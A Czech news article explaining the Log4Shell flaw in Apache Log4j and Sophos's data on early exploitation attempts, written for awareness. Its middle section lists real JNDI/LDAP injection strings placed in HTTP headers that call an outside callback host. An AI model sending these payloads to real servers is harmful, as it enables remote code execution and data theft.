Krátce před Vánocemi mnozí správci sítí a informačních systémů s hrůzou sledovali, co by všechno mohla napáchat zranitelnost v Apache Log4j – Log4Shell. Jedná se totiž o velmi populární knihovnu pro Javu, která se stará o logování libovolných aplikačních událostí.
A jelikož je Java klíčovou platformou v podnikových a serverových aplikací, zareagoval tehdy i tuzemský NÚKIB a vydal nařízení pro českou kritickou infrastrukturu.
Ahoj knihovno, pošli mi heslo na server
Útočník mohl napadnout zranitelný systém třeba v případech, když Log4j používal k logování veřejný webový server. Za běžných okolností by server při požadavku na stránku X zapsal do logu třeba neškodnou zprávu: Klient z IP adresy Y chce stránku X.

Příklad zneužití chyby v Log4j. Vložením speciálních instrukcí do hlaviček HTTP se při Log4j při logování splete, tyto instrukce skutečně zpracuje a třeba předá citlivé údaje nějakému třetímu záškodnickému serveru (Sophos)
Záškodník nicméně do webového požadavku na stránku – typicky třeba do textových hlaviček protokolu HTTP – mohl umístit speciální textový řetězec s klíčovými příkazy, které zranitelná verze knihovny Log4j zpracovala. Přitom je měla ignorovat jako prostý text.
Jednalo se tedy o formu zranitelností typu injection, kterých jsme měli v minulosti celou řadu. Třeba SQL injection, ve kterém zase zranitelný server/skriptovací engine interpretuje část URL jako SQL dotaz do databáze.
Útočník pak v lepším případě jen vtipně pozmění titulek a text článku na zranitelné publikační platformě, anebo v tom nejhorším získá celý výpis databáze včetně uživatelských účtů.
Příklady injektáže kódu do hlaviček HTTP, které by zpracovala zranitelná verze logovací knihovny Log4j, pokud by byla nasazená na HTTP serveru:
referer=${jndi:ldap://[redacted].interact.sh},
x-http-host-override=${jndi:ldap://[redacted].interact.sh},
true-client-ip=${jndi:ldap://[redacted].interact.sh},
x-forwarded-port=443,
x-client-ip=${jndi:ldap://[redacted].interact.sh},
cf-connecting_ip=${jndi:ldap://[redacted].interact.sh},
x-forwarded-host=${jndi:ldap://[redacted].interact.sh},
contact=${jndi:ldap://[redacted].interact.sh},
host=[redacted].com,
from=${jndi:ldap://[redacted].interact.sh},
cache-control=no-transform,
x-forwarded-proto=https,
accept-language=en,
client-ip=${jndi:ldap://[redacted].interact.sh},
x-forwarded-for=${jndi:ldap://[redacted].interact.sh},
x-originating-ip=${jndi:ldap://[redacted].interact.sh},
x-host=${jndi:ldap://[redacted].interact.sh},
forwarded=${jndi:ldap://[redacted].interact.sh},
accept=*/*,
x-real-ip=${jndi:ldap://[redacted].interact.sh},
Zdá se, že nás Log4Shell zatím nezničil
Vzhledem k masivnímu nasazení knihovny Log4j v podnikových aplikacích postavených na Javě tuto chybu ostře sledovali prakticky všichni bezpečnostní experti.
Útok na internetové a intranetové systémy třeba velké firmy s podobnou chybou by totiž byl přirozeně mnohem lákavější, než pokus o průnik do domácí sítě rodiny Michlovských, kde byste na rodinném NASu našli leda tak pirátské kopie pořadu Týden Živě.

Zaznamenané pokusy o zneužití Log4j firewally Sophos XG (Sophos)
Případu se proto věnoval i hlavní bezpečnostní analytik ze společnosti Sophos, Chester Wisniewski, který nasbíral hromadu dat na podnikových firewallech a nyní se s nimi pochlubil na webu. A co zjistil? Je to dobré, první měsíc jsme přežili bez větší úhony a organizace po celém větě se nezhroutily.
Chyba byla závažná, a tak se dočkala publicity
Podle Chestera za to může mimo jiné právě i závažnost chyby, a tak se do hry ve velkém zapojily jak bezpečnostní organizace jednotlivých států (zmíněný NÚKIB), tak velké infrastrukturální kolosy jako Microsoft a další.


Zdroje útoků v závěru roku a v lednu (Sophos)
Přesto to však podle specialistů neznamená, že je zranitelnost s přezdívkou Log4Shell minulostí. Naopak bude v různých modifikacích přežívat dál celé roky jako mnohé další malwary minulosti a stane se součástí mnoha dalších útočných kampaní a botů, které to budou zkoušet den za dnem.

Cíle odpovědí, tedy kam po útoku zranitelný systém odesílal data. Podle Sophosu to mohou být přijímače útočníků ve velkých datových centrech, stejně tak to ale mohou být white-hat hackeři – lidé, co odhaluji chyby třeba v programech bug bounty (Sophos)
Skutečnost, že kritická infrastruktura internetu zareagovala rychle, totiž neznamená, že tu mezi námi nezůstávají tisíce a tisíce malých a napadnutelných subjektů. Nemusí to totiž být hned aplikace banky, ale třeba nějaký ten neaktualizovaný NAS připojený do internetu, který taktéž používá Log4j.